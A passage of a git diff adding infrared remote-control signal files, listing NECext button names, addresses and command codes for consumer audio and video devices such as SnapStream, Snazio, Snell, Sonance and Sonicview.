NECext +address: 13 01 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 09 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 0B 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 0C 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 0D 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 0E 00 00 00 +# +name: audio_up +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 0F 00 00 00 +# +name: audio_down +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 10 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 11 00 00 00 +# +name: store +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 12 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 13 00 00 00 +# +name: aft +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 14 00 00 00 +# +name: rl +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 16 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 17 00 00 00 +# +name: ch_search +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 18 00 00 00 +# +name: lnb +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 19 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 1A 00 00 00 +# +name: hv +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 1B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 1C 00 00 00 +# +name: jump +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 1D 00 00 00 +# +name: auto_on +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 1F 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 13 01 00 00 +command: 35 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Slim Art/Unknown_SA-100/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Slim Art/Unknown_SA-100/0,-1.ir new file mode 100644 index 000000000..57aeba4d4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Slim Art/Unknown_SA-100/0,-1.ir @@ -0,0 +1,296 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: Intro +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: PBC +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: Right_Arrow +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 41 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 42 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: Up_Arrow +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 +# +name: KEY_0+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 46 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 47 00 00 00 +# +name: Down_Arrow +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: V-Mode +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4B 00 00 00 +# +name: Left_Arrow +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: #_Treble +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 +# +name: Memory +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: Flat_Tone_Control +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: Program +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: A-Time +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: b_Bass +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5A 00 00 00 +# +name: Still +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5B 00 00 00 +# +name: Step +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5C 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5D 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5E 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Slim Devices/Unknown_Devices/110,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Slim Devices/Unknown_Devices/110,-1.ir new file mode 100644 index 000000000..fa511d197 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Slim Devices/Unknown_Devices/110,-1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 00 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 01 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 02 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 03 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 04 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 05 00 00 00 +# +name: Add +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 06 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 07 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 08 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 09 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0B 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0D 00 00 00 +# +name: Browse +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0E 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 0F 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 10 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 11 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 12 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 13 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 14 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 15 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 16 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 17 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 18 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 19 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1A 00 00 00 +# +name: Shuffle +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1B 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1C 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1D 00 00 00 +# +name: NowPlaying +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1E 00 00 00 +# +name: Size +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 1F 00 00 00 +# +name: Brightness +type: parsed +protocol: NECext +address: 6E 00 00 00 +command: 20 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/SnapStream/Unknown_Firefly-Mini/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/SnapStream/Unknown_Firefly-Mini/0,-1.ir new file mode 100644 index 000000000..65401d24a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/SnapStream/Unknown_Firefly-Mini/0,-1.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: Firefly +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 41 00 00 00 +# +name: KEY_CLOSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 47 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4B 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4F 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5B 00 00 00 +# +name: KEY_OPTION +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5C 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5D 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Snazio/Unknown_Net/8,230.ir b/assets/resources/infrared/_CSV-IRDB_/Snazio/Unknown_Net/8,230.ir new file mode 100644 index 000000000..a205c2e53 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Snazio/Unknown_Net/8,230.ir @@ -0,0 +1,278 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 10 00 00 00 +# +name: ArrowRight +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 11 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 12 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 13 00 00 00 +# +name: ArrowUp +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 14 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 15 00 00 00 +# +name: ArrowDown +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 16 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 17 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 18 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 19 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1A 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1B 00 00 00 +# +name: ArrowLeft +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1D 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1E 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 1F 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 40 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 41 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 42 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 43 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 44 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 45 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 46 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 47 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 48 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 49 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 4A 00 00 00 +# +name: TvMode +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 4B 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 4C 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 4D 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 4E 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 50 00 00 00 +# +name: SlowFwd +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 51 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 52 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 53 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 54 00 00 00 +# +name: PausePlay +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 55 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 56 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 57 00 00 00 +# +name: Rev +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 58 00 00 00 +# +name: SlowRev +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 59 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5A 00 00 00 +# +name: AngleRotate +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5B 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5C 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5D 00 00 00 +# +name: KEY_EDIT +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5E 00 00 00 +# +name: Shuffle +type: parsed +protocol: NECext +address: 08 E6 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Snell/Speaker/80,0.ir b/assets/resources/infrared/_CSV-IRDB_/Snell/Speaker/80,0.ir new file mode 100644 index 000000000..4a6b79d5e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Snell/Speaker/80,0.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: BASS_SHAPE_-_CINEMA +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 02 00 00 00 +# +name: BASS_SHAPE_-_REF. +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 03 00 00 00 +# +name: BASS_LEVEL_+4 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 04 00 00 00 +# +name: BASS_LEVEL_+6 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 07 00 00 00 +# +name: BASS_LEVEL_-4 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 08 00 00 00 +# +name: BASS_LEVEL_-6 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 09 00 00 00 +# +name: BASS_LEVEL_+2 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0F 00 00 00 +# +name: BASS_LEVEL_-2 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 11 00 00 00 +# +name: BASS_LEVEL_0 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 13 00 00 00 +# +name: TREBLE_-_CUT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1E 00 00 00 +# +name: TREBLE_-_BOOST +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sonance/Distributed Audio/0,90.ir b/assets/resources/infrared/_CSV-IRDB_/Sonance/Distributed Audio/0,90.ir new file mode 100644 index 000000000..13887255e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sonance/Distributed Audio/0,90.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: LIGHT +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 00 00 00 00 +# +name: FUNCTION +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 02 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 03 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 04 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 06 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 07 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 09 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 0A 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 0B 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 0C 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 0D 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 0E 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 0F 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 11 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 12 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 13 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 14 00 00 00 +# +name: CD2 +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 15 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 16 00 00 00 +# +name: SAT +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 17 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 18 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 19 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 1A 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 1C 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 00 5A 00 00 +command: 1D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sonance/System Controller/132,132.ir b/assets/resources/infrared/_CSV-IRDB_/Sonance/System Controller/132,132.ir new file mode 100644 index 000000000..6eec5bab8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sonance/System Controller/132,132.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: TV/SAT +type: parsed +protocol: NECext +address: 84 84 00 00 +command: 01 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 84 84 00 00 +command: 02 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: 84 84 00 00 +command: 03 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 84 84 00 00 +command: 09 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 84 84 00 00 +command: 0A 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 84 84 00 00 +command: 0B 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 84 84 00 00 +command: 11 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 84 84 00 00 +command: 12 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 84 84 00 00 +command: 13 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 84 84 00 00 +command: 19 00 00 00 +# +name: ALL_OFF +type: parsed +protocol: NECext +address: 84 84 00 00 +command: 1A 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 84 84 00 00 +command: 1B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sonicview/Unknown_SV-360/15,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sonicview/Unknown_SV-360/15,-1.ir new file mode 100644 index 000000000..2d7e7c388 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sonicview/Unknown_SV-360/15,-1.ir @@ -0,0 +1,290 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 00 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 01 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 02 00 00 00 +# +name: usb +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 03 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 04 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 05 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 08 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 09 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0A 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0D 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0E 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 10 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 11 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 12 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 15 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 16 00 00 00 +# +name: user +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 17 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 18 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 19 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1C 00 00 00 +# +name: KEY_SAT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1D 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 20 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 21 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 22 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 23 00 00 00 +# 